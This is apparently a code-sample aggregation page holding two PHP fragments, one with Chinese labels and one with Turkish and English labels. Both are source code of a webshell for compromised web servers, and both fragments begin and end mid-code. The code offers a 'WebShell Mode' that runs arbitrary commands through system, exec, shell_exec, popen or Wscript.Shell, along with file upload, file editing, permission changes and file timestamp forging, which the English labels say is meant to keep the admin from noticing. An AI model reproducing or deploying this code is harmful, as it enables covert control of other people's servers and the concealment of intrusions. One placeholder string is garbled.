Exemplo n.º 1
0
    $tb->makehidden('dir', urlencode($dir));
    $tb->makehidden('do', 'editfileperm');
    $tb->formfooter('1', '30');
} elseif ($_GET['action'] == "newtime") {
    $action = "?dir=" . urlencode($dir);
    $cachemonth = array('January' => 1, 'February' => 2, 'March' => 3, 'April' => 4, 'May' => 5, 'June' => 6, 'July' => 7, 'August' => 8, 'September' => 9, 'October' => 10, 'November' => 11, 'December' => 12);
    $tb->tableheader();
    $tb->formheader($action, '克隆文件最后修改时间');
    $tb->tdbody("修改文件: " . $tb->makeinput('curfile', $file, 'readonly') . " → 目标文件: " . $tb->makeinput('tarfile', '需填完整路径及文件名'), 'center', '2', '30');
    $tb->makehidden('do', 'domodtime');
    $tb->formfooter('', '30');
    $tb->formheader($action, '自定义文件最后修改时间');
    $tb->tdbody('<br><ul><li>有效的时间戳典型范围是从格林威治时间 1901 年 12 月 13 日 星期五 20:45:54 到 2038年 1 月 19 日 星期二 03:14:07<br>(该日期根据 32 位有符号整数的最小值和最大值而来)</li><li>说明: 日取 01 到 30 之间, 时取 0 到 24 之间, 分和秒取 0 到 60 之间!</li></ul>', 'left');
    $tb->tdbody('当前文件名: ' . $file);
    $tb->makehidden('curfile', $file);
    $tb->tdbody('修改为: ' . $tb->makeinput('year', '1984', '', 'text', '4') . ' 年 ' . $tb->makeselect(array('name' => 'month', 'option' => $cachemonth, 'selected' => 'October')) . ' 月 ' . $tb->makeinput('data', '18', '', 'text', '2') . ' 日 ' . $tb->makeinput('hour', '20', '', 'text', '2') . ' 时 ' . $tb->makeinput('minute', '00', '', 'text', '2') . ' 分 ' . $tb->makeinput('second', '00', '', 'text', '2') . ' 秒', 'center', '2', '30');
    $tb->makehidden('do', 'modmytime');
    $tb->formfooter('1', '30');
} elseif ($_GET['action'] == "shell") {
    $action = "??action=shell&dir=" . urlencode($dir);
    $tb->tableheader();
    $tb->tdheader('WebShell Mode');
    if (substr(PHP_OS, 0, 3) == 'WIN') {
        $program = isset($_POST['program']) ? $_POST['program'] : "c:\\winnt\\system32\\cmd.exe";
        $prog = isset($_POST['prog']) ? $_POST['prog'] : "/c net start > " . $pathname . "/log.txt";
        echo "<form action=\"?action=shell&dir=" . urlencode($dir) . "\" method=\"POST\">\n";
        $tb->tdbody('无回显运行程序 → 文件: ' . $tb->makeinput('program', $program) . ' 参数: ' . $tb->makeinput('prog', $prog, '', 'text', '40') . ' ' . $tb->makeinput('', 'Run', '', 'submit'), 'center', '2', '35');
        $tb->makehidden('do', 'programrun');
        echo "</form>\n";
    }
    echo "<form action=\"?action=shell&dir=" . urlencode($dir) . "\" method=\"POST\">\n";
Exemplo n.º 2
0
$dir_writeable = dir_writeable($nowpath) ? "m" : "mm";
$phpinfo = !eregi("phpinfo", $dis_func) ? " | <a href=\"?action=phpinfo\" target=\"_blank\">PHPINFO()</a>" : "";
$reg = substr(PHP_OS, 0, 3) == 'WIN' ? " | <a href=\"?action=reg\"mohajer22</a>" : "";
$tb = new FORMS();
$tb->tableheader();
$tb->tdbody('<table width="98%" border="0" cellpadding="0" cellspacing="0"><tr><td><b>' . $_SERVER['HTTP_HOST'] . '</b></td><td><b>' . $mohajer . '</b></td><td align="right"><b>' . $_SERVER['REMOTE_ADDR'] . '</b></td></tr></table>', 'center', 'top');
$tb->tdbody("<FORM method='POST' action='{$REQUEST_URI}' enctype='multipart/form-data'><INPUT type='submit' name='Rifrish' value='  dir  '  id=input><INPUT type='submit'name='erne' value='erne '  id=input><INPUT type='submit' name='phpinfo' value='PHPinfo' id=input><INPUT type='submit' name='shell' value='command shill' id=input></form>");
$tb->tablefooter();
$tb->tableheader();
$tb->tdbody('<table width="98%" border="0" cellpadding="0" cellspacing="0"><tr><td><b>Dosya Duzenle Yada Olustur & Dosya Yukle & Dizin Olustur</b></td></tr></table>', 'center', 'top');
$tb->tdbody('<table width="98%" border="0" cellpadding="0" cellspacing="0"><tr><td>');
$tb->headerform(array('content' => '<FONT COLOR=#9C9C9C>Dosya Duzenle weya Olustur:</FONT>' . $tb->makehidden('dir', getcwd()) . ' ' . $tb->makeinput('editfile') . ' ' . $tb->makeinput('Edit', 'Duzenle', '', 'submit')));
$tb->headerform(array('action' => '?dir=' . urlencode($dir), 'enctype' => 'multipart/form-data', 'content' => '<FONT COLOR=#9C9C9C>Dosya Yukle:</FONT>' . $tb->makeinput('uploadfile', '', '', 'file') . ' ' . $tb->makeinput('doupfile', 'Ekle', '', 'submit') . $tb->makeinput('uploaddir', $dir, '', 'hidden')));
$tb->headerform(array('content' => '<FONT COLOR=#9C9C9C>Dizin Olustur:</FONT> ' . $tb->makeinput('newdirectory') . ' ' . $tb->makeinput('createdirectory', 'yenidizin', '', 'submit')));
$execfuncs = substr(PHP_OS, 0, 3) == 'WIN' ? array('system' => 'system', 'passthru' => 'passthru', 'exec' => 'exec', 'shell_exec' => 'shell_exec', 'popen' => 'popen', 'wscript' => 'Wscript.Shell') : array('system' => 'system', 'passthru' => 'passthru', 'exec' => 'exec', 'shell_exec' => 'shell_exec', 'popen' => 'popen');
$tb->headerform(array('content' => '<FONT COLOR=#9C9C9C>cmd:</FONT>' . $tb->makeselect(array('name' => 'execfunc', 'option' => $execfuncs, 'selected' => $execfunc)) . ' ' . $tb->makeinput('command') . ' ' . $tb->makeinput('Run', 'command', '', 'submit')));
$tb->tdbody("</td></tr></table>");
if (!isset($_GET['action']) or empty($_GET['action']) or $_GET['action'] == "dir") {
    $tb->tableheader();
    echo "<tr bgcolor='#D0D0D0'><td align='center' nowrap width='27%'><b>DIR</b></td><td align='center' nowrap width='16%'><b>First data</b></td><td align='center' nowrap width='16%'><b>Last data</b></td><td align='center' nowrap width='11%'><b>Size</b></td><td align='center' nowrap width='6%'><b>Perm</b></td></tr>";
    $dirs = @opendir($dir);
    $dir_i = '0';
    while ($file = @readdir($dirs)) {
        $filepath = "{$dir}/{$file}";
        $a = @is_dir($filepath);
        if ($a == "1") {
            if ($file != ".." && $file != ".") {
                $ctime = @date("Y-m-d H:i:s", @filectime($filepath));
                $mtime = @date("Y-m-d H:i:s", @filemtime($filepath));
                $dirperm = substr(base_convert(fileperms($filepath), 10, 8), -4);
                echo "<tr class=" . getrowbg() . ">\n";
    $tb->makehidden('dir', urlencode($dir));
    $tb->makehidden('do', 'editfileperm');
    $tb->formfooter('1', '30');
} elseif ($_GET['action'] == "newtime") {
    $action = "?dir=" . urlencode($dir);
    $cachemonth = array('January' => 1, 'February' => 2, 'March' => 3, 'April' => 4, 'May' => 5, 'June' => 6, 'July' => 7, 'August' => 8, 'September' => 9, 'October' => 10, 'November' => 11, 'December' => 12);
    $tb->tableheader();
    $tb->formheader($action, 'Chang File');
    $tb->tdbody("From?: " . $tb->makeinput('curfile', $file, 'readonly') . " To: " . $tb->makeinput('tarfile', '?è?î?ê?ûA·¾¶¼°I?¼??û'), 'center', '2', '30');
    $tb->makehidden('do', 'domodtime');
    $tb->formfooter('', '30');
    $tb->formheader($action, 'Chang Time');
    $tb->tdbody('<br><ul><li>You Can Chang The Time Of Any File You Want Whith</li><li>You Can Chang The Time Of Any File To Let The Admin Dont Think Abut It</li></ul>', 'left');
    $tb->tdbody('The File Is: ' . $file);
    $tb->makehidden('curfile', $file);
    $tb->tdbody('Year: ' . $tb->makeinput('year', '1984', '', 'text', '4') . ' Month' . $tb->makeselect(array('name' => 'month', 'option' => $cachemonth, 'selected' => 'October')) . 'Day ' . $tb->makeinput('data', '18', '', 'text', '2') . ' hour ' . $tb->makeinput('hour', '20', '', 'text', '2') . ' minute ' . $tb->makeinput('minute', '00', '', 'text', '2') . ' second ' . $tb->makeinput('second', '00', '', 'text', '2') . ' ', 'center', '2', '30');
    $tb->makehidden('do', 'modmytime');
    $tb->formfooter('1', '30');
} elseif ($_GET['action'] == "shell") {
    $action = "??action=shell&dir=" . urlencode($dir);
    $tb->tableheader();
    $tb->tdheader('WebShell Mode');
    if (substr(PHP_OS, 0, 3) == 'WIN') {
        $program = isset($_POST['program']) ? $_POST['program'] : "c:\\winnt\\system32\\cmd.exe";
        $prog = isset($_POST['prog']) ? $_POST['prog'] : "/c net start > " . $pathname . "/log.txt";
        echo "<form action=\"?action=shell&dir=" . urlencode($dir) . "\" method=\"POST\">\n";
        $tb->tdbody('The Program That Make Comand' . $tb->makeinput('program', $program) . ' To See Log ' . $tb->makeinput('prog', $prog, '', 'text', '40') . ' ' . $tb->makeinput('', 'Run', '', 'submit'), 'center', '2', '35');
        $tb->makehidden('do', 'programrun');
        echo "</form>\n";
    }
    echo "<form action=\"?action=shell&dir=" . urlencode($dir) . "\" method=\"POST\">\n";